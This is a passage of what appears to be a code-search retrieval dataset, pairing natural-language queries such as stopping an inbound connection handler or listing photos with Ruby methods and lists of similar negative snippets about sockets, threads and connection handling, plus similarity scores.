@recvthread=Thread.start do\n readfromsocket\n end\n \n #\n # start three threads for writing\n # (for pong message, for normal message, for ctcp message)\n #\n for i in [WRITE_PRIORITY_HIGH,\n WRITE_PRIORITY_DEFAULT,\n WRITE_PRIORITY_LOW]\n @sendthreads[i]=Thread.start do\n writetosocket(i)\n end\n end\n \n @stat=Event::LINK_ESTABLISHED\n notify(@stat)\n return true\n end", "def start_monitor!\n begin\n trap(\"INT\") do\n on_exit\n exit\n end\n # Daemonize only if we are not in the test environment\n run_thread_loop(:daemonize => !Application.test?) do\n add_task {PoolParty.message \"Checking cloud\"}\n add_task {launch_minimum_instances}\n add_task {reconfigure_cloud_when_necessary}\n add_task {scale_cloud!}\n add_task {check_stats}\n end\n rescue Exception => e\n Process.kill(\"HUP\", Process.pid)\n end\n end", "def call_start_monitoring\n start_monitoring\n self.save!\n rescue StandardError => e\n logger.error(e.message)\n raise\n end", "def begin_handshake\n if incoming? && !@node.accept_connections?\n return close_connection unless @node.config[:connect].include?([@host, @port.to_s])\n end\n log.info { \"Established #{@direction} connection\" }\n @node.connections << self\n @state = :handshake\n send_version\n rescue Exception\n log.fatal { \"Error in #begin_handshake\" }\n p $!; puts *$@\n end", "def open_for_traffic\n @event_bus.subscribe(:van_arrived, @traffic_controller, :van_arrived)\n @event_bus.subscribe(:sail_ferry, @ferry, :sail)\n\n @open = true\n end", "def start\n _signals_trap\n _init_actors\n unpause\n Celluloid::Actor[:listen_adapter].async.start\n @thread = Thread.new { _wait_for_changes }\n end", "def start\n while listen\n # Loop for-ev-er\n end\n end", "def start(connection)\n validate_external_auth_source\n selector = LOGIN.merge(payload: payload, mechanism: LDAP::MECHANISM)\n build_message(connection, '$external', selector)\n end", "def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end", "def start\n\t\tself.socket.connect( self.class.host, self.class.port )\n\n\t\tsuper\n\tend", "def run\n capture_signals\n load_config\n\n EM.synchrony do\n connect\n start_throttle\n end\n end", "def start\n self.load_plugins()\n @running = true\n \n while @running\n @servers.each do |server|\n unless server.is_connected\n if server.reconnect_delay_passed? && server.connect\n server.write(\"PASS #{@password}\") if @password\n server.write(\"NICK #{@nick}\")\n server.write(\"USER #{@username} hostname servername :#{@username}\")\n end\n end\n\n autoping()\n check_timer_plugins()\n \n @current_server = self.select()\n\n if @current_server\n msg = @current_server.read\n \n if msg != nil\n autojoin_on_recognize(server, msg)\n process_message(msg)\n end\n end\n end \n end\n end", "def start\n @server = TCPServer.open(@hostname, @port)\n loop do\n Thread.new(@server.accept) do |client|\n while message = client.gets\n fmp = ForeignMessageParser.new(message)\n Mailbox.append(fmp.to_event) if fmp.got_valid_message?\n end\n client.close\n end\n end\n end", "def start\n logger.info('StreamController starting')\n @stream_parser.begin_read\n self\n end", "def start\n Thread.new do\n connect = false\n until connect do\n begin\n call do |server| \n @server = server\n Waves::Logger.info \"#{self.class.basename} started on #{host}:#{port}.\"\n end\n rescue RuntimeError => e\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end\n end", "def start_heartbeat\n\t\tself.log.info \"Starting heartbeat timer.\"\n\t\t@heartbeat_timer = self.reactor.add_periodic_timer( self.class.heartbeat_rate ) do\n\t\t\tself.cull_idle_sockets\n\t\t\tself.ping_all_sockets\n\t\tend\n\tend", "def run\n EventMachine::run do\n @tcp = EventMachine::connect(config.server.host, config.server.port, TCPConnection)\n @tcp.client = self\n spectator_join\n end\n end", "def start\n @client.ping\n @state.set :run\n @thread ||= Thread.new{ work_loop }\n end", "def starting?\n if connection_in_info?\n status.queued? && !connect.to_h.compact.empty?\n else\n status.running? && !connect_file.file?\n end\n end", "def connect\n @logger.request \"Connecting to Asterisk Manager (\" + @host + \":\" + @port + \")\"\n\n begin\n # Try to open a socket\n @socket = TCPSocket.new @host, @port\n\n # Parse the initial connection message. This message is sent right after a socket connection is established, and consists \n # of one line of the format: Asterisk Call Manager/1.1 \n @connected = (@socket.gets.gsub(\"\\r\\n\", \"\") == RESPONSE_CONNECTION)\n @logger.response(\"Success: Connection Established\") if @connected\n @logger.fatal(\"Error: Connection response did not match expected: \" + RESPONSE_CONNECTION) if !@connected\n rescue Exception => e\n @logger.fatal \"Error: Connection error occurred: \" + e.message\n @connected = false\n end\n end", "def start_keepalive_thread\n @keepalive.kill if @keepalive.is_a?(Thread)\n @keepalive = Thread.new do\n loop do\n sleep 10\n @ssh.send_global_request('keepalive@openssh.com')\n end\n end\n end", "def start\r\n @thread = Thread.new {\r\n @server.connect\r\n @proto.fire_pseudo(:connect, {address: @server.address?, port: @server.port?})\r\n protos = @server.read\r\n while protos != nil && @halt != true\r\n protos.each do |proto|\r\n Log::write \"<= \" + proto\r\n @proto.parse_proto(proto)\r\n end\r\n protos = @server.read\r\n end\r\n }\r\n end", "def monitor_start\n @rchan.seek(0, 2)\n end", "def start_calls\n @running = true\n ahn_log.hammer.debug 'Calls started...'\n end", "def start_watching\n @thread = Thread.new{ \n while true\n self.scan_now\n sleep @autoscan_delay\n end\n }\n end", "def init\n # Open a socket for the server to connect on.\n @sock = TCPSocket.new(@address , @server.port)\n @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)\n @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_LINGER, false)\n unless RUBY_PLATFORM =~ /win32/\n @sock.fcntl(Fcntl::F_SETFL, Fcntl::O_NONBLOCK)\n end\n c = Connection.new(@server, @sock)\n if c.init\n log.info \"(#{c.object_id}) Connection made.\"\n publish(c)\n true\n else\n false\n end\n rescue Exception\n log.error \"Connector#init\"\n log.error $!\n false\n end", "def request_listen\n send_command RemoteListenCommand.new(@client.remote_listen_address)\n enable_tunnel_timeouts \n end", "def start_listening\n @continue_listening = true\n while @continue_listening\n listen_for_changes\n end\n end", "def listen\n @@em.schedule {\n @@em.start_server @host, @port, TCPConnection, { :rjr_node => self }\n }\n self\n end", "def on_open(event)\n logger.debug \"Connection openned as user: #{@user} on channel: #{@channel}.\"\n end", "def on_open(&block)\n define_callback :connect, &block\n end", "def start\n\n @writer = Writer.new.start\n @worker_pool = WorkerPool.new create_listen_socket\n\n sig_init\n master_loop\n shutdown_writer\n\n end", "def checkin_connection(*)\n conn = super\n @connection_timestamps[conn] = Sequel.start_timer\n conn\n end", "def start\n return unless agent_should_start?\n\n log_startup\n check_config_and_start_agent\n log_version_and_pid\n\n events.subscribe(:initial_configuration_complete) do\n log_ignore_url_regexes\n end\n end", "def connect\n loop do\n return if @stopped.value\n interval = @backoff.next_interval\n if interval > 0\n @logger.warn { \"Will retry connection after #{'%.3f' % interval} seconds\" } \n sleep(interval)\n end\n begin\n cxn = open_connection(build_headers)\n if cxn.status != 200\n body = cxn.read_all # grab the whole response body in case it has error details\n cxn.close\n @on[:error].call({status_code: cxn.status, body: body})\n next\n elsif cxn.headers[\"content-type\"] && cxn.headers[\"content-type\"].start_with?(\"text/event-stream\")\n return cxn # we're good to proceed\n end\n @logger.error { \"Event source returned unexpected content type '#{cxn.headers[\"content-type\"]}'\" }\n rescue Errno::EBADF\n raise\n rescue StandardError => e\n @logger.error { \"Unexpected error from event source: #{e.inspect}\" }\n @logger.debug { \"Exception trace: #{e.backtrace}\" }\n cxn.close if !cxn.nil?\n end\n # if unsuccessful, continue the loop to connect again\n end\n end", "def start\n @stopped = false\n Thread.new(connect(read_loop_thread: false)) do |conn|\n Thread.abort_on_exception = true # Raising an unhandled exception is a bug\n loop do\n break if @stopped\n\n conn ||= connect(read_loop_thread: false)\n Thread.new do\n # restore connection in another thread, read_loop have to run\n conn.channel(1) # reserve channel 1 for publishes\n @subscriptions.each do |queue_name, no_ack, prefetch, wt, args, blk|\n ch = conn.channel\n ch.basic_qos(prefetch)\n ch.basic_consume(queue_name, no_ack: no_ack, worker_threads: wt, arguments: args, &blk)\n end\n @connq << conn\n end\n conn.read_loop # blocks until connection is closed, then reconnect\n rescue Error => e\n warn \"AMQP-Client reconnect error: #{e.inspect}\"\n sleep @options[:reconnect_interval] || 1\n ensure\n conn = nil\n end\n end\n self\n end", "def start\n flags = ::Win32::Pipe::ACCESS_DUPLEX | ::Win32::Pipe::OVERLAPPED\n pipe = PipeServer.new(@pipe_name, 0, flags)\n res = true\n begin\n options = {:target => self,\n :request_handler => :request_handler,\n :request_query => :request_query,\n :pipe => pipe}\n @pipe_eventable = EM.watch(pipe, PipeServerHandler, options)\n @pipe_eventable.notify_readable = true\n rescue Exception => e\n pipe.close rescue nil\n RightScale::Log.error(\"Failed to start pipe server\", e, :trace)\n res = false\n end\n res\n end", "def start\n # Eventmachine run\n EM.run do\n # set what to do on message from websocket\n on_message\n\n # set what to do on close of websocket connection\n on_close\n end\n end", "def start_server!; @server = TCPServer.open($port) end", "def open(event)\n Firehose.logger.debug \"WebSocket subscribed to `#{@req.path}`. Waiting for message_sequence...\"\n end", "def start_track(socket)\n @mutex.synchronize do\n ip = peer_ip(socket)\n @connections[ip] ||= 0\n @connections[ip] += 1\n @socket_ips[socket.object_id] = ip\n end\n end", "def start\n begin\n EventMachine.run do\n \n @config.rabbitmq_hosts.each do |rabbitmq_host|\n if rabbitmq_host[\"enabled\"] == true\n start_worker(rabbitmq_host)\n end\n end\n Signal.trap(\"INT\"){EventMachine.stop}\n Signal.trap(\"QUIT\"){EventMachine.stop}\n Signal.trap(\"TERM\"){EventMachine.stop}\n Signal.trap(\"TSTP\"){EventMachine.stop}\n end\n rescue Exception=>e\n puts \"#{e.message} #{e.backtrace}\"\n end\n end", "def start &blk\n @stopping = false\n\n starter = -> do\n ssdp_search_and_listen(@search_target, @search_options)\n blk.call(@new_device_channel, @old_device_channel)\n @running = true\n end\n\n if EM.reactor_running?\n log \"<#{self.class}> Joining reactor...\"\n starter.call\n else\n log \"<#{self.class}> Starting reactor...\"\n EM.run(&starter)\n end\n end", "def listen\n loop do\n self.listen_loop\n \n #Break out if something is wrong.\n break if !@out_mutex or (@in and @in.closed?) or (@out and @out.closed?)\n end\n end", "def start\n prepare\n loop do\n git_poller.poll\n sleep ws.config.daemon_polling_period\n end\n end", "def start_server\n @watchman = Thread.new {\n while !@stopped\n @pool_mutex.synchronize\n socket = @server.accept\n @pool << Thread.new(socket) {|socket|\n serve(socket)\n }\n end \n }\n end", "def start_watchdog!\n while true\n sleep 10\n @stream_parser.begin_read unless @stream_parser.alive?\n end\n end", "def start()\n @state = RUNNING\n @loop.wakeup() unless @loop.nil?\n end", "def subscribe\n debug [self.name, \"incoming\"]\n subscribe_request\n end", "def start\n # The announce timer\n # We attempt to announce this ruby sensor to the host agent.\n # In case of failure, we try again in 30 seconds.\n @announce_timer = @timers.now_and_every(30) do\n if host_agent_ready? && announce_sensor\n ::Instana.logger.debug \"Announce successful. Switching to metrics collection.\"\n transition_to(:announced)\n end\n end\n\n # The collect timer\n # If we are in announced state, send metric data (only delta reporting)\n # every ::Instana::Collector.interval seconds.\n @collect_timer = @timers.every(::Instana::Collector.interval) do\n if @state == :announced\n unless ::Instana::Collector.collect_and_report\n # If report has been failing for more than 1 minute,\n # fall back to unannounced state\n if (Time.now - @entity_last_seen) > 60\n ::Instana.logger.debug \"Metrics reporting failed for >1 min. Falling back to unannounced state.\"\n transition_to(:unannounced)\n end\n end\n ::Instana.processor.send\n end\n end\n\n # Start the background ruby sensor thread. It works off of timers and\n # is sleeping otherwise\n Thread.new do\n loop {\n if @state == :unannounced\n @collect_timer.pause\n @announce_timer.resume\n else\n @announce_timer.pause\n @collect_timer.resume\n end\n @timers.wait\n }\n end\n end" ]
[ "0.7127821", "0.6537719", "0.6303413", "0.6227494", "0.6199862", "0.6177123", "0.61248994", "0.5987855", "0.58710474", "0.57403034", "0.5734516", "0.5710067", "0.5686743", "0.5679955", "0.5659746", "0.5648756", "0.563604", "0.56200635", "0.561724", "0.5589407", "0.552557", "0.55034053", "0.548431", "0.54808426", "0.547742", "0.5438905", "0.5407799", "0.5393042", "0.53827566", "0.5375297", "0.53665334", "0.5365504", "0.5346963", "0.53267235", "0.5306617", "0.53004164", "0.5298298", "0.52964455", "0.5288934", "0.5273059", "0.5261308", "0.52545375", "0.5248346", "0.5244067", "0.5242119", "0.52320117", "0.52305365", "0.52075106", "0.52026784", "0.51859045", "0.5165397", "0.5151673", "0.5133751", "0.51224315", "0.51220614", "0.5112249", "0.5110447", "0.5103415", "0.5098501", "0.5079155", "0.50688773", "0.50614494", "0.5058241", "0.50571924", "0.50520414", "0.5051187", "0.5050999", "0.5045608", "0.5028304", "0.50274485", "0.50268114", "0.5025687", "0.5024578", "0.502423", "0.5003866", "0.50010204", "0.4999501", "0.49963745", "0.49951422", "0.4993121", "0.4990508", "0.49899", "0.49783227", "0.49781546", "0.49767652", "0.49739662", "0.49718338", "0.4971105", "0.49709162", "0.49694645", "0.4964654", "0.49615532", "0.4954643", "0.49451002", "0.4944648", "0.4939413", "0.4934514", "0.493157", "0.4931328", "0.49265248", "0.49264494" ]
0.0
-1
Stops monitoring for an inbound connection.
def stop_handler # Terminate the listener thread listener_thread.kill if listener_thread && listener_thread.alive? == true # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true begin listener_sock.close if listener_sock rescue IOError # Ignore if it's listening on a dead session dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disconnect()\n @connection.stop()\n @timer.stop()\n @broadcast.stop()\n end", "def disconnect!\n context.with_connection do |connection|\n connection.disconnect!\n end\n @monitor.stop! and true\n end", "def close\n stop_monitoring_connection\n close_connection\n end", "def stop\n if @running\n @running = false\n @connections.each { |conn| conn.stop(@stop_bytes) }\n end\n end", "def stop\n @logger.info(\"Stopping #{self.class}...\")\n @connection.stop if @connection\n @logger.info(\"#{self.class} stopped.\")\n end", "def stop\n log \"closing connection\"\n @running = false\n client.stop!\n log \"closed\"\n end", "def stop!\n @monitor.kill\n @logger.info({context: :monitor, action: :stop!})\n end", "def stop\n connection.write(\"stop\")\n end", "def stop\n connection.write(\"stop\")\n end", "def stop\n connection.write(\"stop\")\n end", "def stop_monitor\n self.monitor.kill if self.monitor\n self.monitor = nil\n end", "def stop\n @lock.synchronize { @connections = [].freeze }\n @io_reactor.stop.map(self)\n end", "def stop!\n @connections.each do |connection|\n puts \" -> stopping '#{connection.connection_id}'\"\n connection.disconnect\n end\n\n SweetieBot.log 'Stopped.'\n end", "def close\n log \"Closing connection\", level: :warning\n close_stream\n close_socket\n stop_reader\n set_state :disconnected\n notify_error DisconnectError.new(\"Connection was closed\")\n\n # stop timer\n # as we're running inside the timer, code after stop_timer() will not be called,\n # unless it's in the ensure block\n stop_timer\n end", "def stop(*)\n\t\t\t\t@bound_endpoint&.close\n\t\t\t\t\n\t\t\t\t@debug_trap.default!\n\t\t\t\t\n\t\t\t\tsuper\n\t\t\tend", "def unbind\n puts \"Connection terminated #{@my_connection_index}) #{@my_address} - #{@signature}\"\n\n pp self.inspect if error?\n\n # TODO: Remove connection from $connection_list\n end", "def stop_request\n if outbound_request? && $redis.get(\"STOP_#{to}_#{from}\").present?\n errors.add(:base, message: \"sms from #{from} to #{to} blocked by STOP request\")\n end\n end", "def stop(_no_sync = nil)\n @gateway.stop\n end", "def stop\n @socket.close\n ensure\n cleanup\n end", "def stop\n @logger.debug(\"Calling stop on logstash-input-perfmon\")\n @typeperf.stop_monitor\n @logger.debug(\"Stopped the perfmon monitor\")\n end", "def disconnect!\n @reserved_connections.clear\n @connections.each do |conn|\n checkin conn\n conn.disconnect!\n end\n @connections = []\n @available.clear\n end", "def disconnect(signal=nil, endpoint=nil)\n purge_connections(connections, signal, endpoint)\n end", "def unbind\n @logger.trace 'Connection closed'\n self\n end", "def stop\n @pid ? Process.kill('TERM', @pid) : close_connection\n end", "def shutdown\n client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel)\n end", "def stop_stream_from(broadcasting); end", "def stop_gracefully\n @connections_to_stop = 0\n\n Signal.trap \"SIGTERM\", stop\n Signal.trap \"SIGINT\", stop\n Signal.trap \"SIGQUIT\", stop\n end", "def disconnect!\n @reserved_connections.each do |name,conn|\n checkin conn\n end\n @reserved_connections = {}\n @connections.each do |conn|\n conn.disconnect!\n end\n @connections = []\n end", "def stop_listening_to(io); end", "def stop\n if running?\n @backend.stop\n unless @backend.empty?\n log \">> Waiting for #{@backend.size} connection(s) to finish, \" +\n \"can take up to #{timeout} sec, CTRL+C to stop now\"\n end\n else\n stop!\n end\n end", "def kill_connection(output_number)\n @connections[output_number] = nil\n end", "def kill_connection(connection)\n connection.shutdown!\n end", "def stop_on(signal)\n Signal.trap(signal) {\n @multi_node.stop\n }\n self\n end", "def keyscan_stop\n\t\trequest = Packet.create_request('stdapi_ui_stop_keyscan')\n\t\tresponse = client.send_request(request)\n\t\treturn true\n\tend", "def stop()\n @state = STOPPED\n end", "def unbind\n puts \"client a connection has terminated\"\n EventMachine::stop_event_loop() \n end", "def stop\n @listen_thread.kill if listening?\n end", "def unbind\n raise NoConnection unless @connected\n\n# @keepalive.cancel\n @state = :stopped\n @client.receive_data @error if @error\n @client.unbind\n end", "def unbind\n log.info { (outgoing? && !@connection_completed) ? \"Connection failed\" : \"Disconnected\" }\n @node.push_notification(:connection, {type: :disconnected, host: @host, port: @port})\n @state = :disconnected\n @node.connections.delete(self)\n end", "def stop\n\t\tC.glyr_signal_exit(to_native)\n\tend", "def stop\n @running = false\n\n @capps.each do |capp|\n capp.stop\n end\n\n @incoming_packets.enq nil\n end", "def disconnect!\n synchronize do\n @reserved_connections.clear\n @connections.each do |conn|\n checkin conn\n conn.disconnect!\n end\n @connections.clear\n @available.clear\n end\n end", "def disconnect\n @server = nil\n @status = :disconnected\n end", "def unbind\n log(:info, :socket, 'disconnected')\n end", "def stop(&blk)\n client.close if (client and (client.connected? || client.reconnecting?))\n blk.call if blk\n @err_cb = nil\n @close_cb = nil\n @reconnect_cb = nil\n @disconnect_cb = nil\n end", "def stop\n Agent.stop\n end", "def close_socket\n @stop = true\n end", "def unbind()\n @connected = false\n Skates.logger.debug {\n \"DISCONNECTED\"\n } # Very low level Logging\n begin\n @handler.on_disconnected() if @handler and @handler.respond_to?(\"on_disconnected\")\n rescue\n Skates.logger.error {\n \"on_disconnected failed : #{$!}\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n end", "def stop\n\t\tsuper\n\n\t\tself.socket.shutdown( :WR )\n\tend", "def stop\n\t\tsuper\n\n\t\tself.socket.shutdown( :WR )\n\tend", "def stop\n @server.close\n end", "def disconnect!\n @connection.logoff rescue nil\n end", "def stop\n self.listener.stop\n self.listener.close\n end", "def stop_track(socket)\n @mutex.synchronize do\n ip = @socket_ips.delete(socket.object_id)\n if (@connections[ip] -= 1) == 0\n @connections.delete(ip)\n end\n end\n end", "def stop\n Agent.stop\n end", "def disconnect\n info 'closing connection to host'\n @connected = false\n end", "def stop\n # Unregister\n Nanoc3::NotificationCenter.remove(:visit_started, self)\n Nanoc3::NotificationCenter.remove(:visit_ended, self)\n end", "def cmd_notify_stop\n\t\t\t\tprint_status(\"Stopping the monitoring of sessions to Slack\")\n\t\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tend", "def stop! #:nodoc:\n if @amqp_connections.empty?\n EM.stop_event_loop\n else\n server, connection = @amqp_connections.shift\n connection.close { stop! }\n end\n end", "def stop\n @server.stop if @server.running?\n end", "def unbind\n @gateway_handler.disconnect(self)\n end", "def stop_monitor\n @thread&.exit\n end", "def disconnect \n # If the socket's open, close it \n @logger.info \"Disconnecting from Asterisk Manager...Goodbye!\" \n @socket.close if !@socket.nil?\n \n # Reset flags\n @connected = false\n @logged_in = false\n end", "def stop\n\t\treturn unless self.started?\n\n\t\tself.log.debug \"Stopping.\"\n\t\tself.writer.close if self.writer\n\t\tself.writer = nil\n\t\tself.reader.close if self.reader\n\t\tself.reader = nil\n\t\tself.stop_server\n\tend", "def unbind()\n Babylon.logger.debug(\"DISCONNECTED\") # Very low level Logging\n EventMachine::stop_event_loop\n end", "def disconnect(endpoint)\n API::invoke :zmq_disconnect, self, endpoint\n connections.delete endpoint\n info \"Unbound from #{endpoint}\"\n end", "def stop_listening\n @subscriber.stop! if @subscriber\n end", "def disconnect!\n @logger.info(\"Terminating SSH connection to server name=#{@name}\")\n @ssh.close\n @ssh = nil\n end", "def terminate_connection\n @intentionally_closed = true\n close_connection\n end", "def stop\n\n stop_observing\n\n @output.close\n end", "def stop\n ws.stop\n end", "def stop\n @state = STOPPED\n logger.info \"Stopping producer with host_params:#{@host_params}\"\n stop_server(@stomp)\n rescue => e\n logger.error \"Error occurred while stopping a connection: #{e}\\n #{e.backtrace.join(\"\\n\")}\"\n end", "def stop\n if (self.relay_thread)\n self.relay_thread.kill\n self.relay_thread = nil\n end\n\n self.relay_mutex.synchronize {\n self.relays.delete_if { |k, v|\n v.shutdown\n v.close\n true\n }\n }\n\n # make sure we kill off active sockets when we shut down\n while self.rfds.length > 0\n close_relay_conn(self.rfds.shift) rescue nil\n end\n\n # we can safely clear the channels array because all of the\n # reverse relays were closed down\n self.rev_chans.clear\n self.relays.clear\n end", "def stop_polling\n @poll.kill if @poll\n end", "def server_stop\n Process.kill 'INT', 0\n end", "def stop\n return if @closed\n error = check_result ::Libuv::Ext.idle_stop(handle)\n reject(error) if error\n end", "def stop\n\n @stopped = true\n\n onotify(:stop)\n end", "def stop\n send_message(Stop.singleton)\n @from_container.close\n @to_host.close\n @from_host.close\n @to_container.close\n end", "def stop\n return if @stopped\n\n @stopped = true\n conn = @connq.pop\n conn.close\n nil\n end", "def stop(*args, close_metrics: true)\n self.enabled = false\n result = super(*args)\n @metrics.close if close_metrics\n result\n end", "def shutdown_connection\n teardown_timers\n @conn.shutdown if @conn.respond_to? :shutdown\n @conn.terminate if @conn.respond_to? :terminate\n @conn = nil\n end", "def stop\n control :kill\n self\n end", "def do_stop\n @notifier.remove_listener self\n @condition.signal\n end", "def stop\n @enabled = false\n end", "def cleanup \n # close the sockets \n @servers.each{ |server| server[:listner].stop }\n @monitor.close\n end", "def unbind\n puts \"connection #{@connection.id.to_s} unbound\"\n begin\n unless !@registered\n self.unregister(@user.uuid)\n $ws_notifier.call(\"#{@user.uuid} just left the server\",\"disconnection\")\n else\n puts \"Never registered. So don't try to kill connection data\"\n end\n rescue\n puts \"Error (unbind). Couldn't delete from hash\"\n end\n puts \"Person is no longer connected\"\n end", "def stop\n @stopping = true\n wakeup\n end", "def stop\n Net::HTTP.get('localhost', '/selenium-server/driver/?cmd=shutDown', @port_number)\n end", "def unbind\n @closed = true\n EM::APN.logger.info(\"Connection closed\")\n end", "def stop\n @server.shutdown if @server\n end", "def stop(id)\n request('/v1/calls/' + id + '/stream', type: Delete)\n end", "def stop(target_ip)\n deactivate target_ip\n remove target_ip\n end", "def stop\n put :stop\n end", "def stop\n\n @stopped = true\n end", "def shutdown\n @conn.shutdown\n end", "def stop\n @running = false\n end", "def stop\n @running = false\n end", "def stop!\n @state = :stopped\n end", "def stop\n @ssh.close if @ssh\n super.stop\n end", "def stop\n end", "def stop\n end" ]
[ "0.6537387", "0.65260106", "0.64852804", "0.6484103", "0.64126724", "0.6323893", "0.62988794", "0.61819345", "0.61819345", "0.61819345", "0.615664", "0.5959128", "0.58726543", "0.5813472", "0.574481", "0.5726481", "0.57257944", "0.57007384", "0.56981146", "0.56845814", "0.5675732", "0.5663345", "0.56596416", "0.56532085", "0.56481045", "0.5647725", "0.5637045", "0.56359035", "0.5635299", "0.56266147", "0.56252587", "0.5624346", "0.5620825", "0.5605652", "0.5602497", "0.5578292", "0.5568208", "0.555177", "0.55517006", "0.55431217", "0.55382437", "0.5523798", "0.5520366", "0.5508609", "0.5504208", "0.5497909", "0.548574", "0.5478378", "0.54704565", "0.54704565", "0.54403293", "0.5430789", "0.5427716", "0.541677", "0.54058826", "0.54040426", "0.54036534", "0.54032195", "0.5394681", "0.5367735", "0.5364865", "0.5358463", "0.5352105", "0.5349327", "0.5348823", "0.534001", "0.53323567", "0.5326823", "0.5319316", "0.53122246", "0.53086835", "0.52864164", "0.5270409", "0.5267504", "0.5263729", "0.5262431", "0.5259128", "0.52526", "0.5251968", "0.52513355", "0.5249285", "0.5232907", "0.5232634", "0.52291536", "0.5229094", "0.5222905", "0.521978", "0.52176976", "0.52134115", "0.5210404", "0.52062595", "0.5201002", "0.5198646", "0.51962626", "0.519379", "0.51883775", "0.51883775", "0.5183436", "0.5182366", "0.5179578", "0.5179578" ]
0.0
-1
GET /photos GET /photos.json
def index @photos = Photo.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def photos options={}\n response = client.get(\"/#{id}/photos\", options)\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def index\n @photos = Photo.all\n\n render json: @photos\n end", "def index\n @photos = Photo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def index\n @photos = get_possible_photos\n paginate json: @photos, per_page: 10\n end", "def index\n @photos = Photo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def index\r\n @photos = Photo.all\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @photos }\r\n end\r\n end", "def index\n # @photos = Photo.all\n data = Photo.all\n render status: :ok, json: data\n end", "def index\n session_guest.hit_logger(\"photo\")\n @photos = Photo.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def index\n #@photos = Photo.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @photos }\n #end\n end", "def show\n @photo = Photo.find(params[:id])\n\n render json: @photo\n end", "def show\n @photo = @allbum.photos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def get_photos_from_flickr(args = {})\n args = GET_PHOTOS_DEFAULT_OPTIONS.merge(args)\n response = client.people.getPhotos(args)\n return nil if response.page > response.pages\n\n normalize(response:)\n end", "def get_photos(arg)\n response_str = RestClient.get(\"#{arg}.json\")\n response_hash = JSON.parse(response_str)\n return response_hash\nend", "def index\n @fotos = Foto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fotos }\n end\n end", "def index\n @users_photos = UsersPhoto.all\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @users_photos }\n end\n end", "def index()\n @photos = all_photos()\n end", "def photos(args = {})\r\n return Net::Flickr.instance().photos.get_public_photos(@id, args)\r\n end", "def photos\n response = photo_search\n photos_response = response['photos']\n @photos = photos_response['photo'].each{|p| p.extend Flickr::PhotoHelper }\n @per_page = photos_response['perpage']\n @total = photos_response['total']\n @pages = photos_response['pages']\n @page = photos_response['page']\n end", "def photo(photo, options = {})\n get(\"photos/#{photo}\", options).pop\n end", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def rover_images(roverName, **parameters)\n uri = URI(\"#{@rover_url}#{roverName}/photos.html\")\n parameters[:api_key] = @api_key\n uri.query = URI.encode_www_form(parameters)\n response = Net::HTTP.get_response(uri)\n\n return [] unless response.is_a?(Net::HTTPSuccess) # if requests fails, returns empty array\n\n JSON.parse(response.body)['photos']\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo.as_json(:methods => Photo::FIELDS) }\n end\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo 